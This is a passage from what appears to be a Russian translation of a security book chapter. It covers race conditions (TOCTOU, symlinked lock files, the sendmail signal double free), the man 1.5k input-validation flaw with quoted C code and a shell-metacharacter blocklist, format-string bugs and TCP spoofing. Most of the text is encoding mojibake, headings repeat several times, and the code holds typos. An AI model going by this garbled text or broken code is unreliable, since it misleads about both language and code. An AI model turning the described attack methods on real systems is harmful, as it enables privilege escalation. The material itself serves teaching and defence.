çàâèñèìîñòü îò íåêîòîðîãî ñîáûòèÿ. Íàïðèìåð, íåáåçîïàñíàÿ ïðîãðàììà
ìîæåò ïðîâåðÿòü, ðàçðåøåíî ëè ïîëüçîâàòåëþ îáðàùàòüñÿ ê íåêîòîðîìó
ôàéëó. Â ïðîìåæóòîê âðåìåíè ìåæäó óñïåøíûì çàâåðøåíèåì ïðîâåðêè è
ôàêòè÷åñêèì äîñòóïîì ê ôàéëó àòàêóþùèé ìîã áû ñäåëàòü ññûëêó ñ ýòîãî
ôàéëà íà äðóãîé, ê êîòîðîìó ó íåãî íåò äîñòóïà. Ýòîò òèï îøèáîê íàçûâà-
åòñÿ «ìîìåíò ïðîâåðêè – ìîìåíò èñïîëüçîâàíèÿ» (Time Of Check Time Of
Use – TOCTOU), ïîñêîëüêó ìåæäó ìîìåíòîì ïðîâåðêè íåêîòîðîãî óñëîâèÿ
è ìîìåíòîì äåéñòâèÿ, îñíîâàííîãî íà ðåçóëüòàòàõ ïðîâåðêè, ïðîòèâíèê
èçìåíÿåò âíåøíèå äàííûå òàê, ÷òî áóäü óñëîâèå ïðîâåðåíî ïîñëå ýòîãî,
ðåçóëüòàò áûë áû äðóãèì (ê ïðèìåðó, «îòêàçàòü â äîñòóïå» âìåñòî «ðàçðå-
øèòü äîñòóï»).
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Гонки, связанные с файлами

Íàèáîëåå ðàñïðîñòðàíåíû ãîíêè, òàê èëè èíà÷å ñâÿçàííûå ñ ôàéëàìè. ×àñ-
òî â ýòèõ ñëó÷àÿõ ïðîãðàììà âûïîëíÿåò íåàòîìàðíûå äåéñòâèÿ, ðàçäåëåííûå
íåêîòîðûì ïðîìåæóòêîì âðåìåíè. Òàê, îíà ìîæåò ñîçäàòü âðåìåííûé ôàéë
â êàòàëîãå /tmp, çàïèñàòü â íåãî äàííûå, ïðî÷èòàòü äàííûå, óäàëèòü ôàéë è
çàâåðøèòüñÿ. Ìåæäó ëþáûìè äâóìÿ ýòàïàìè àòàêóþùèé â çàâèñèìîñòè îò èñ-
ïîëüçóåìûõ ñèñòåìíûõ âûçîâîâ è ìåòîäà ðåàëèçàöèè ìîæåò èçìåíèòü óñëî-
âèÿ, ïðîâåðÿåìûå ïðîãðàììîé.

Ðàññìîòðèì ñëåäóþùèé ñöåíàðèé:

1. Ïðîãðàììà çàïóùåíà.
2. Ïðîãðàììà ïðîâåðÿåò, ñóùåñòâóåò ëè ôàéë /tmp/programname.lock.001.
3. Åñëè ôàéë íå ñóùåñòâóåò, îí ñîçäàåòñÿ ñ ñîîòâåòñòâóþùèìè ïðàâàìè

äîñòóïà.
4. Â lock-ôàéë çàïèñûâàåòñÿ èäåíòèôèêàòîð ïðîöåññà (pid).
5. Ïîçæå èç ýòîãî ôàéë ñ÷èòûâàåòñÿ èäåíòèôèêàòîð ïðîöåññà.
6. Êîãäà ïðîãðàììà çàâåðøàåòñÿ, îíà óäàëÿåò lock-ôàéë.

Õîòÿ â ýòîì ñöåíàðèè íåäîñòàåò íåêîòîðûõ âàæíûõ äëÿ áåçîïàñíîñòè øà-
ãîâ, à äðóãèå ðåàëèçîâàíû íå èäåàëüíî, íî çàòî îí äàåò îñíîâó äëÿ áîëåå ïðè-
ñòàëüíîãî èçó÷åíèÿ óñëîâèé, ïðè êîòîðûõ âîçíèêàåò ãîíêà. Çàäàäèìñÿ ñëå-
äóþùèìè âîïðîñàìè:

� ×òî ïðîèçîéäåò, åñëè íà øàãå 2 ôàéëà íå ñóùåñòâóåò, íî ïåðåä øàãîì 3
ïðîòèâíèê ñîçäàë ñèìâîëè÷åñêóþ ññûëêó ñ òàêèì èìåíåì íà ôàéë, êî-
òîðûé îí ìîæåò êîíòðîëèðîâàòü, íàïðèìåð, íà äðóãîé ôàéë â êàòàëîãå
/tmp? (Ñèìâîëè÷åñêàÿ ññûëêà ïîäîáíà óêàçàòåëþ, îíà ïîçâîëÿåò îáðà-
ùàòüñÿ ê ôàéëó ïîä ðàçíûìè èìåíàìè, êîòîðûå ìîãóò íàõîäèòüñÿ
â ðàçíûõ êàòàëîãàõ. Êîãäà ïîëüçîâàòåëü îáðàùàåòñÿ ê ôàéëó, ÿâëÿþùå-
ìóñÿ ñèìâîëè÷åñêîé ññûëêîé, îïåðàöèîííàÿ ñèñòåìà ïåðåíàïðàâëÿåò
åãî íà ðåàëüíûé ôàéë. Âñëåäñòâèå ýòîãî âñå ïðàâà äîñòóïà ó ðåàëüíîãî
ôàéëà è ññûëêè íà íåãî ñîâïàäàþò.) ×òî åñëè ïðîòèâíèê íå èìååò äîñ-
òóïà ê ôàéëó, íà êîòîðûé âåäåò ññûëêà?

� Êàêîâû ïðàâà äîñòóïà ê lock-ôàéëó? Ìîæåò ëè ïðîòèâíèê çàïèñàòü äðó-
ãîé èäåíòèôèêàòîð ïðîöåññà â ýòîò ôàéë? À ìîæåò ëè îí, ñîçäàâ ñèìâî-
ëè÷åñêóþ ññûëêó, ïîäìåíèòü ôàéë äðóãèì ïî ñâîåìó âûáîðó (íó è PID
âìåñòå ñ íèì)?

� ×òî ïðîèçîéäåò, åñëè ïðîöåññà ñ òàêèì èäåíòèôèêàòîðîì áîëüøå íå
ñóùåñòâóåò? À åñëè ýòîò èäåíòèôèêàòîð òåïåðü ïðèíàäëåæèò ñîâñåì
äðóãîé ïðîãðàììå?

� ×òî ñëó÷èòñÿ, åñëè óäàëÿåìûé lock-ôàéë íà ñàìîì äåëå ÿâëÿåòñÿ ñèìâî-
ëè÷åñêîé ññûëêîé íà ôàéë, ê êîòîðîìó ïðîòèâíèê íå èìååò äîñòóïà íà
çàïèñü?

Гонки
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Ýòè âîïðîñû ïðèçâàíû ïðîäåìîíñòðèðîâàòü ìåòîäû è öåëè àòàê, êîòîðûå
ïðîòèâíèê ìîæåò ïîïûòàòüñÿ îðãàíèçîâàòü, ÷òîáû çàõâàòèòü êîíòðîëü íàä
ïðèëîæåíèåì èëè ñèñòåìîé â öåëîì. Ïðåæäå ÷åì äîâåðÿòü lock-ôàéëàì, ïî-
ëàãàòüñÿ íà âðåìåííûå ôàéëû è ïîëüçîâàòüñÿ ôóíêöèÿìè òèïà mkstemp, íóæ-
íî òùàòåëüíî âñå îáäóìàòü è ñïëàíèðîâàòü.

Гонки, связанные с сигналами

Ãîíêè ñâÿçàííûå ñ ñèãíàëàìè è ôàéëàìè ñõîæè. Ïðîãðàììà ïðîâåðÿåò íåêî-
òîðîå óñëîâèå, ïðîòèâíèê ïîñûëàåò ñèãíàë, â ðåçóëüòàòå êîòîðîãî óñëîâèå
èçìåíÿåòñÿ, à êîãäà ïðîãðàììà âûïîëíÿåò êîä, îñíîâûâàÿñü íà ðåçóëüòàòàõ
ïåðâîé ïðîâåðêè, åå ïîâåäåíèå ñòàíîâèòñÿ íåîæèäàííûì. Êðèòè÷åñêàÿ
îøèáêà, ñâÿçàííàÿ ñ òàêîé ãîíêîé, áûëà îáíàðóæåíà â ïîïóëÿðíîì ïàêåòå äëÿ
ðàáîòû ñ ýëåêòðîííîé ïî÷òîé sendmail. Áëàãîäàðÿ åé âîçìîæåí ýêñïëîéò, àòà-
êóþùèé îøèáêó èç-çà äâîéíîãî îñâîáîæäåíèÿ ïàìÿòè, âûäåëåííîé èç êó÷è.

Âîò óïðîùåííàÿ êàðòèíà òîãî, êàê â sendmail âîçíèêàåò ãîíêà:

1. Ïðîòèâíèê ïîñûëàåò ñèãíàë SIGHUP.
2. Âûçûâàåòñÿ îáðàáîò÷èê ñèãíàëà, îñâîáîæäàåòñÿ ïàìÿòü.
3. Ïðîòèâíèê ïîñûëàåò ñèãíàë SIGTERM.
4. Ñíîâà âûçûâàåòñÿ îáðàáîò÷èê ñèãíàëà è ñíîâà îñâîáîæäàåòñÿ ïàìÿòü.

Îñâîáîæäåíèå îäíîé è òîé æå îáëàñòè ïàìÿòè äâàæäû – ýòî òèïè÷íàÿ è
÷àñòî ýêñïëóàòèðóåìàÿ îøèáêà, âûçûâàþùàÿ ïîð÷ó ïàìÿòè â êó÷å. Õîòÿ ãîí-
êè, ñâÿçàííûå ñ ñèãíàëàìè, ÷àùå âîçíèêàþò â ëîêàëüíûõ ïðèëîæåíèÿõ, íî
íåêîòîðûå ñåðâåðíûå ïðèëîæåíèÿ ðåàëèçóþò îáðàáîò÷èê ñèãíàëà SIGURG,
ïîçâîëÿþùèé ðåàãèðîâàòü íà äèñòàíöèîííî ïîñûëàåìûå ñèãíàëû. Ñèãíàë
SIGURG äîñòàâëÿåòñÿ ïðîãðàììå, êîãäà â ñîêåò ïîñòóïàþò ñðî÷íûå äàííûå.
Ñëåäîâàòåëüíî, óäàëåííûé ïðîòèâíèê ìîæåò ïðåäïðèíÿòü íåêîòîðûå ïðåä-
âàðèòåëüíûå äåéñòâèÿ, ïîäîæäàòü, ïîêà ñèñòåìà âûïîëíèò ïðîâåðêó, çàòåì
ïîñëàòü ñðî÷íûå äàííûå, ÷òî ïðèâåäåò ê âûçîâó îáðàáîò÷èêà SIGURG. Ìîæ-
íî âûçâàòü ïîâòîðíûé âõîä â îáðàáîò÷èê îäíîãî è òîãî æå ñèãíàëà, åñëè
ïîñëàòü ñðî÷íûå äàííûå ïîäðÿä. Íå èñêëþ÷åíî, ÷òî ïðè ýòîì áóäåò âûïîë-
íåíî äâîéíîå îñâîáîæäåíèå îäíîé è òîé æå îáëàñòè ïàìÿòè.

Âîçíèêíîâåíèå ãîíêè – ýòî ïî ñóòè ñâîåé ëîãè÷åñêàÿ îøèáêà, îñíîâàííàÿ
íà íåêîððåêòíûõ äîïóùåíèÿõ. Ïðîãðàììèñò áåçîñíîâàòåëüíî ïðåäïîëàãàåò,
÷òî ìåæäó ïðîâåðêîé óñëîâèÿ è âûïîëíåíèåì äåéñòâèÿ óñëîâèå íå ìîæåò
èçìåíèòüñÿ. Òàêîãî ðîäà îøèáêè ìîãóò âñòðå÷àòüñÿ êàê â ëîêàëüíûõ, òàê è
â ñåòåâûõ ïðîãðàììàõ, íî â ëîêàëüíûõ èõ ïðîùå îáíàðóæèòü è àòàêîâàòü.
Äåëî â òîì, ÷òî êîãäà ãîíêà âîçíèêàåò â óäàëåííîé ïðîãðàììå, ó àòàêóþùåãî
ìîæåò ïðîñòî íå õâàòèòü âðåìåíè äëÿ èçìåíåíèÿ óñëîâèÿ (ðå÷ü-òî èäåò
î äîëÿõ ìèëëèñåêóíäû).
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Âàæíî îòìåòèòü, ÷òî ãîíêà ìîæåò âîçíèêàòü íå òîëüêî èç-çà äåéñòâèé
ñ ôàéëàìè èëè ñèãíàëàìè. Ëþáàÿ ïîñëåäîâàòåëüíîñòü ñîáûòèé, ñîñòîÿùàÿ èç
ïðîâåðêè óñëîâèÿ è äåéñòâèé â çàâèñèìîñòè îò ðåçóëüòàòà, òåîðåòè÷åñêè ìî-
æåò ñòàòü ïðè÷èíîé ãîíêè. Íî äàæå åñëè òàêàÿ âîçìîæíîñòü ñóùåñòâóåò, âîâ-
ñå íå îáÿçàòåëüíî, ÷òî ïðîòèâíèê ñìîæåò åé âîñïîëüçîâàòüñÿ â îòâåäåííîå
âðåìÿ, ÷òîáû ïîëó÷èòü êîíòðîëü íàä ïàìÿòüþ èëè äîñòóï ê ðàíåå çàêðûòûì
äëÿ íåãî ôàéëàì.

Пример: ошибка в программе man
при контроле входных данных
Îøèáêà, ñâÿçàííàÿ ñ êîíòðîëåì âõîäíûõ äàííûõ, ñóùåñòâóåò â ïðîãðàììå
÷òåíèÿ ñòðàíèö ðóêîâîäñòâ man âåðñèè 1.5. Îíà áûëà èñïðàâëåíà â âåðñèè 1.5l,
à äî òåõ ïîð ïîçâîëÿëà ëîêàëüíî ïîâûñèòü ïðèâèëåãèè è âûïîëíèòü ïðîèç-
âîëüíûé êîä. Ñòðàíèöû ðóêîâîäñòâ ðàçáèðàëèñü òàêèì îáðàçîì, ÷òî ïðè
ïðîñìîòðå ñòðàíèöû, ñîñòàâëåííîé çëîóìûøëåííèêîì, ìîã áûòü âûïîëíåí
êîä îò èìåíè ÷èòàòåëÿ.

Äåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòè
Äàæå â äîñòóïíîì èñõîäíîì òåêñòå íàéòè óÿçâèìîñòü áûâàåò íåëåãêî. Ñëåäó-
þùèå ôðàãìåíòû, âçÿòûå èç ôàéëà man-1.5k/src/util.c, ïîêàçûâàþò, ÷òî äëÿ
âûÿñíåíèÿ òîãî, ê ÷åìó ìîæåò ïðèâåñòè îøèáêà, èíîãäà ïðèõîäèòñÿ ïðî-
ñìîòðåòü íåñêîëüêî ôóíêöèé. Â îáùåì-òî, ýòà óÿçâèìîñòü äîâîëüíî ïðîñòà,
íî äåìîíñòðèðóåò òó èñòèíó, ÷òî äëÿ ïîèñêà îøèáîê íóæíî òðàññèðîâàòü
ôóíêöèè è ïóòè èñïîëíåíèÿ ïðîãðàììû.

Ïåðâûé ôðàãìåíò ïîêàçûâàåò, ÷òî ôóíêöèÿ system0 îáðàùàåòñÿ ê ñèñòåì-
íîìó âûçîâó execve. Ïðè ïåðåäà÷å ôóíêöèè execv äàííûõ, ââåäåííûõ ïîëüçî-
âàòåëåì, íóæíî ñíà÷àëà èõ òùàòåëüíî ïðîâåðèòü. 

 1 static int

 2 system0 (const chat *command) {

 3   int pid, pid2, status;

 4
 5   pid = fork();

 6   if (pid == -1) {

 7      perror(progname);

 8      fatal(CANNOT_FORK, command);

 9   }

10   if (pid == 0) {

11      char *argv[4];

Пример: ошибка в программе man при контроле входных данных
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12      argv[0] = "sh";

13      argv[1] = "-c";

14      argv[2] = (char *) command;

15      argv[3] = 0;

16      execv("/bin/sh", argv);  /* áûëî: execve(*,*,environ); */

17      exit(127);
18   }

19   do {

20      pid2 = wait(&status);

21      if (pid2 == -1)

22         return -1;

23   } while (pid2 != pid);

24   return status;

25 }

Âî âòîðîì ôðàãìåíòå äàííûå êîïèðóþòñÿ â áóôåð è äî ïåðåäà÷è ôóíê-
öèè system0 ïðîõîäÿò ïðîâåðêó (ôóíêöèÿ is_shell_safe).

 1 char *

 2 my_xsprintf (char *format, ...) {

 3   va_list p;

 4   char *s, *ss, *fm;

 5   int len;

 6
 7   len = srelen(format) + 1;

 8   fm = my_strdup(format);

 9
10   va_start(p, format);

11   for (s = fm; *s; s++) {

12       if (*s == '%') {

13          switch (s[1]) {

14          case 'Q':

15          case 'S':  /* ïðîâåðèòü è çàìåíèòü 's' */

16               ss = va_arg(p, char *);

17               if (!is_shell_safe(ss, (s[1] == 'Q')))

18                  return NOT_SAFE;

19               len += strlen(ss);

20               s[1] = 's';

21               break;

Èç ñëåäóþùåãî ôðàãìåíòà âèäíî, êàê ðåàëèçîâàíà ïðîâåðêà, ïðèçâàííàÿ
îòñå÷ü íåáåçîïàñíûå ïðè âûçîâå îáîëî÷êå ñèìâîëû.

1 #define NOT_SAFE "unsafe"

2
3 static int

4 is_shell_safe(const char *ss, int quoted) {
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 5   char *bad = " ;'\\\"<>|";

 6   char *p;

 7
 8   if (quoted)

 9      bad++;      /* ðàçðåøèòü ïðîáåëû âíóòðè êàâû÷åê */

10   for (p = bad; *p; p++)

11       if (index(ss, *p))

12          return 0;

13   return 1;

14 }

Êîãäà ïðè âûçîâå ôóíêöèè my_xsprintf èç ôàéëà util.c ïðîãðàììà man îáíà-
ðóæèâàåò â ñòðîêå íåäîïóñòèìûå ñèìâîëû, îíà âîçâðàùàåò NOT_SAFE. Ê íå-
ñ÷àñòüþ, êîíñòàíòà NOT_SAFE îïðåäåëåíà êàê ñòðîêà «unsafe», è ýòà ñòðîêà
íàïðÿìóþ ïåðåäàåòñÿ ñèñòåìíîìó âûçîâó, îáåðíóòîìó ôóíêöèåé system0. Ñëå-
äîâàòåëüíî, åñëè â ïóòè ïîëüçîâàòåëÿ ñóùåñòâóåò èñïîëíÿåìûé ôàéë ñ èìå-
íåì «unsafe», òî îí áóäåò çàïóùåí. ßñíî, ÷òî ñòåïåíü ðèñêà íåâåëèêà, òàê êàê
àòàêóþùåìó íóæíû ïîâûøåííûå ïðèâèëåãèè ïðîñòî äëÿ òîãî, ÷òîáû çàïè-
ñàòü ôàéë â êàòàëîã, íàõîäÿùèéñÿ â ïóòè ïîëüçîâàòåëÿ; åñëè îí ìîæåò ýòî ñäå-
ëàòü, òî, âåðîÿòíî, èòàê èìååò äîñòóï ê ó÷åòíîé çàïèñè ïîëüçîâàòåëÿ-æåðò-
âû. Îäíàêî, ýòà îøèáêà ïîêàçûâàåò, ÷òî íå îáÿçàòåëüíî ïåðåïîëíÿòü áóôåð,
÷òîáû ïîëó÷èòü óÿçâèìóþ ïðîãðàììó, íåäîñòàòî÷íî òùàòåëüíîãî êîíòðîëÿ
âõîäíûõ äàííûõ èëè äàæå íåêîððåêòíîé îáðàáîòêè îøèáîê âïîëíå ìîæåò
õâàòèòü.

Íå âñå óÿçâèìîñòè, äàæå ïðèâîäÿùèå ê âîçìîæíîñòè ëîêàëüíî âûïîë-
íèòü ïðîèçâîëüíûé êîä, – ýòî ðåçóëüòàò íåáðåæíîãî ïðîãðàììèðîâàíèÿ.
Ìíîãèå óÿçâèìîñòè, îñîáåííî ýêñïëóàòèðóåìûå ÷åðåç Web, ïðîèñòåêàþò èç
ëîãè÷åñêèõ îøèáîê è íåäîñòàòî÷íî ñòðîãîãî êîíòðîëÿ âõîäíûõ äàííûõ.
Íàïðèìåð, àòàêè ñ çàïóñêîì ñöåíàðèåâ ñ äðóãîãî  ñàéòà (cross-site scri pting)
âîçìîæíû ëèøü èç-çà íåêîððåêòíîé ôèëüòðàöèè äàííûõ, ââîäèìûõ ïîëüçî-
âàòåëåì.

Пример: ошибка в программе man при контроле входных данных
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Резюме
Íàïèñàíèå ïîëíîôóíêöèîíàëüíîãî ýêñïëîéòà – ýòî íåïðîñòàÿ çàäà÷à, îñî-
áåííî åñëè ðå÷ü èäåò îá óÿçâèìîñòè, êîòîðóþ âû ëè÷íî îáíàðóæèëè â ïðè-
ëîæåíèè ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè. Â îáùåì ñëó÷àå ïðîãðàììè-
ðîâàíèå ýêñïëîéòîâ äëÿ ëîêàëüíûõ è óäàëåííûõ ïðèëîæåíèé ìàëî îòëè÷àåò-
ñÿ, òîëüêî ýêñïëîéò äëÿ àòàêè íà óÿçâèìîñòü â ïðîãðàììå, ðàáîòàþùåé íà
óäàëåííîé ìàøèíå, äîëæåí ñîçäàòü ñîêåò äëÿ ñîåäèíåíèÿ ñ ýòîé ìàøèíîé.
Êàê ïðàâèëî, ëþáîé ýêñïëîéò ñîäåðæèò shell-êîä, êîòîðûé çàïóñêàåò èíòå-
ðàêòèâíóþ îáîëî÷êó, ìîäèôèöèðóåò ñèñòåìíûå ôàéëû èëè ïðîñòî îòêðûâà-
åò â ðåæèìå ïðîñëóøèâàíèÿ ïîðò, ñîçäàâàÿ «÷åðíûé õîä» äëÿ âíåäðåíèÿ òðî-
ÿíñêîé ïðîãðàììû.

Óÿçâèìîñòè, ñâÿçàííûå ñ äåôåêòàìè ïðîòîêîëîâ, ìîãóò áûòü îñîáåííî
îïàñíû; îáû÷íî îíè ïðèâîäÿò ê îòêàçó îò îáñëóæèâàíèÿ. Â ñèëó ñàìîé èõ
ïðèðîäû çàùèòèòüñÿ îò òàêèõ óÿçâèìîñòåé è çàëàòàòü îáíàðóæåííóþ «äûðó»
ãîðàçäî òðóäíåå, ÷åì â ñëó÷àå áðåøè â ïðèêëàäíîé ïðîãðàììå. Ïîâûøåííàÿ
óãðîçà ñâÿçàíà ñ òåì, ÷òî óÿçâèìûìè îêàçûâàþòñÿ ñàìè ñðåäñòâà êîììóíèêà-
öèè, òî åñòü àòàêîâàòü ìîæíî ñðàçó ìíîæåñòâî ïðèëîæåíèé, êîòîðûå
ïîëüçóþòñÿ íåáåçîïàñíûì ïðîòîêîëîì.

Ïî÷òè âñå ýêñïëîéòû, íàïðàâëåííûå ïðîòèâ ïðîãðàìì, â êîòîðûõ âîçíè-
êàåò ãîíêà, ïðåäíàçíà÷åíû äëÿ àòàêè íà ëîêàëüíûå ïðèëîæåíèÿ è ïîçâîëÿþò
ïîâûñèòü ïðèâèëåãèè, ïåðåïèñàòü ôàéëû èëè ñêîìïðîìåòèðîâàòü äàííûå,
äîñòóïíûå òîëüêî ñóïåðïîëüçîâàòåëþ. Òàêèå ýêñïëîéòû ïèñàòü òðóäíåå âñå-
ãî, ê òîìó æå äëÿ äîñòèæåíèÿ óñïåõà çàïóñêàòü èõ ïðèõîäèòñÿ íåîäíîêðàòíî.
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Обзор изложенного материала
Îáíàðóæåíèå óÿçâèìîñòåéÎáíàðóæåíèå óÿçâèìîñòåéÎáíàðóæåíèå óÿçâèìîñòåéÎáíàðóæåíèå óÿçâèìîñòåéÎáíàðóæåíèå óÿçâèìîñòåé

� Ïðè ïîèñêå íîâûõ óÿçâèìîñòåé íóæíî ïðèíèìàòü âî âíèìàíèå ðàç-
ëè÷íûå ôàêòîðû: äîñòóïíîñòü èñõîäíûõ òåêñòîâ, ñêîëüêî ëþäåé óæå
çíàêîìèëèñü ñ òåêñòîì ïðîãðàììû è êòî ýòè ëþäè, èìååò ëè ñìûñë òðà-
òèòü ñèëû íà àâòîìàòèçèðîâàííîå ãåíåðèðîâàíèå ñëó÷àéíûõ èñõîäíûõ
äàííûõ äëÿ ïðîãðàììû è ñêîëüêî âðåìåíè ïîòðåáóåòñÿ äëÿ îðãàíèçà-
öèè òåñòîâîé ñðåäû.

Ýêñïëîéòû äëÿ àòàêè íà ëîêàëüíûåÝêñïëîéòû äëÿ àòàêè íà ëîêàëüíûåÝêñïëîéòû äëÿ àòàêè íà ëîêàëüíûåÝêñïëîéòû äëÿ àòàêè íà ëîêàëüíûåÝêñïëîéòû äëÿ àòàêè íà ëîêàëüíûå
è óäàëåííûå ïðîãðàììûè óäàëåííûå ïðîãðàììûè óäàëåííûå ïðîãðàììûè óäàëåííûå ïðîãðàììûè óäàëåííûå ïðîãðàììû

� Òàêèå ñëóæáû, êàê Apache, IIS è OpenSSH, ðàáîòàþò îò èìåíè íåïðèâè-
ëåãèðîâàííûõ ïîëüçîâàòåëåé, ÷òîáû óìåíüøèòü óùåðá îò ïîòåíöèàëü-
íîé êîìïðîìåòàöèè.

� Äëÿ ïîâûøåíèÿ ïðèâèëåãèé äî óðîâíÿ ñóïåðïîëüçîâàòåëÿ èëè àäìèíè-
ñòðàòîðà ÷àñòî íåîáõîäèìî ëîêàëüíî çàïóñòèòü ýêïëîéò, íàïðàâëåí-
íûé ïðîòèâ ïðèëîæåíèÿ, ðàáîòàþùåãî îò èìåíè ïðèâèëåãèðîâàííîãî
ïîëüçîâàòåëÿ.

Àòàêè íà ôîðìàòíóþ ñòðîêóÀòàêè íà ôîðìàòíóþ ñòðîêóÀòàêè íà ôîðìàòíóþ ñòðîêóÀòàêè íà ôîðìàòíóþ ñòðîêóÀòàêè íà ôîðìàòíóþ ñòðîêó
� Îøèáêè èç-çà íåêîððåêòíîé ðàáîòû ñ ôîðìàòíûìè ñòðîêàìè âîçíèêà-

þò â ñëó÷àå, êîãäà â ïåðâîì àðãóìåíòå ôóíêöèè ñ ïåðåìåííûì ÷èñëîì
àðãóìåíòîâ îòñóòñòâóþò ñïåöèôèêàòîðû ôîðìàòà.

� Òèïè÷íàÿ óÿçâèìîñòü òàêîãî ðîäà – ïðåäëîæåíèå òèïà printf(argv[1]).
×òîáû èñïðàâèòü îøèáêó, äîñòàòî÷íî çàìåíèòü ýòî ïðåäëîæåíèå íà
printf(«%s», argv[1]).

Óÿçâèìîñòè TCP/IPÓÿçâèìîñòè TCP/IPÓÿçâèìîñòè TCP/IPÓÿçâèìîñòè TCP/IPÓÿçâèìîñòè TCP/IP
� Íàçíà÷åíèå àòàêè ñ ïîääåëêîé TCP – âîñïîëüçîâàòüñÿ îòíîøåíèÿìè

äîâåðèòåëüíîñòè ìåæäó äâóìÿ ñèñòåìàìè. Àòàêóþùèé äîëæåí çàðàíåå
çíàòü, ÷òî õîñò A ïîëíîñòüþ äîâåðÿåò õîñòó B. Àòàêà îðãàíèçóåòñÿ ñëå-
äóþùèì îáðàçîì: ïðîòèâíèê ïîñûëàåò õîñòó-æåðòâå A íåñêîëüêî
SYN-ïàêåòîâ, ÷òîáû ïîëó÷èòü ïðåäñòàâëåíèå î ñïîñîáå ãåíåðèðîâàíèÿ
ïîðÿäêîâûõ íîìåðîâ. Çàòåì îí àòàêóåò õîñò B, ÷òîáû âûçâàòü îòêàç îò
îáñëóæèâàíèÿ è íå äàòü åìó ïîñëàòü ïàêåòû RST. Äàëåå õîñòó A ïîñûëà-
åòñÿ ïîääåëüíûé ïàêåò ÿêîáû îò õîñòà B ñ ïîäõîäÿùèì ïîðÿäêîâûì íî-
ìåðîì. Ýòî ïðîäîëæàåòñÿ äî òåõ ïîð, ïîêà öåëü àòàêóþùåãî íå áóäåò
äîñòèãíóòà (ïîëó÷åíû ôàéëû ñ ïàðîëÿìè ýëåêòðîííîé ïî÷òû, èçìåíåí

Обзор изложенного материала
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ïàðîëü äëÿ äîñòóïà ê ìàøèíå è òàê äàëåå). Ñëåäóåò îòìåòèòü, ÷òî ïðè
òàêîé «ñëåïîé» àòàêå ïðîòèâíèê íå âèäèò îòâåòîâ, ïîñûëàåìûõ õîñòîì
A õîñòó B.

ÃîíêàÃîíêàÃîíêàÃîíêàÃîíêà
� Ãîíêè, ñâÿçàííûå ñ ñèãíàëàìè è ôàéëàìè, ñõîæè. Ïðîãðàììà ïðîâåðÿåò

íåêîòîðîå óñëîâèå, ïðîòèâíèê ïîñûëàåò ñèãíàë, â ðåçóëüòàòå êîòîðî-
ãî óñëîâèå èçìåíÿåòñÿ, à êîãäà ïðîãðàììà âûïîëíÿåò êîä, îñíîâûâàÿñü
íà ðåçóëüòàòàõ ïåðâîé ïðîâåðêè, åå ïîâåäåíèå ñòàíîâèòñÿ íåîæèäàí-
íûì. Êðèòè÷åñêàÿ îøèáêà, ñâÿçàííàÿ ñ òàêîé ãîíêîé, áûëà îáíàðóæåíà
â ïîïóëÿðíîì ïàêåòå äëÿ ðàáîòû ñ ýëåêòðîííîé ïî÷òîé sendmail.

� Ãîíêè, ñâÿçàííûå ñ ñèãíàëàìè, õàðàêòåðíû ïðåæäå âñåãî äëÿ ëîêàëü-
íûõ ïðèëîæåíèé. Íî íåêîòîðûå ñåðâåðíûå ïðèëîæåíèÿ îáðàáàòûâà-
þò ñèãíàë SIGURG, äîñòàâëÿåìûé ïðîãðàììå, êîãäà â ñîêåò ïðèõîäÿò
ñðî÷íûå äàííûå. Ìîæíî ñ÷èòàòü, ÷òî ýòî äèñòàíöèîííî ïîñûëàåìûé
ñèãíàë.
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Ссылки на сайты
� http://razor.bindview.com/publ ish/papers/tcpseq.html. Èíòåðåñíàÿ ñòðà-

íèöà î ãåíåðèðîâàíèè ñëó÷àéíûõ ÷èñåë.
� www.striker.ottawa.on.ca/~aland/pscan/. Áåñïëàòíûé àíàëèçàòîð èñõîä-

íûõ òåêñòîâ, ñïîñîáíûé îòûñêàòü ïîòåíöèàëüíûå óÿçâèìîñòè, ñâÿçàí-
íûå ñ íåêîððåêòíîé îáðàáîòêîé ôîðìàòíîé ñòðîêè.

� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-
øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Âåðíî ëè, ÷òî èìåþùóþñÿ óÿçâèìîñòü ìîæíî àòàêîâàòü íà ëþáîé ïëàò-
ôîðìå?

Î:Î:Î:Î:Î: Íå îáÿçàòåëüíî. Èíîãäà èç-çà ñïîñîáà ðàçìåùåíèÿ ñòåêà â ïàìÿòè èëè
ðàçìåðîâ áóôåðîâ óÿçâèìîñòü ìîæíî àòàêîâàòü íà îäíîé àðõèòåêòóðå è
íåëüçÿ íà äðóãîé.

Â:Â:Â:Â:Â: Åñëè ìåæñåòåâîé ýêðàí îòôèëüòðîâûâàåò ïîðò, íà êîòîðîì ðàáîòàåò óÿç-
âèìîå ïðèëîæåíèå, òî àòàêà íà ýòó óÿçâèìîñòü íåâîçìîæíà?

Î:Î:Î:Î:Î: Íå îáÿçàòåëüíî. Óÿçâèìîñòü ìîæíî àòàêîâàòü, ïðîíèêíóâ çà ýêðàí, ïî-
ëó÷èâ ëîêàëüíûé äîñòóï ê ñåðâåðó, à èíîãäà èç äðóãîãî ïðèëîæåíèÿ, êîòîðîå
íå ôèëüòðóåòñÿ ýêðàíîì.

Â:Â:Â:Â:Â: Ïî÷åìó ïóáëèêàöèþ èíôîðìàöèè îá óÿçâèìîñòÿõ íå îáúÿâèòü íåçàêîí-
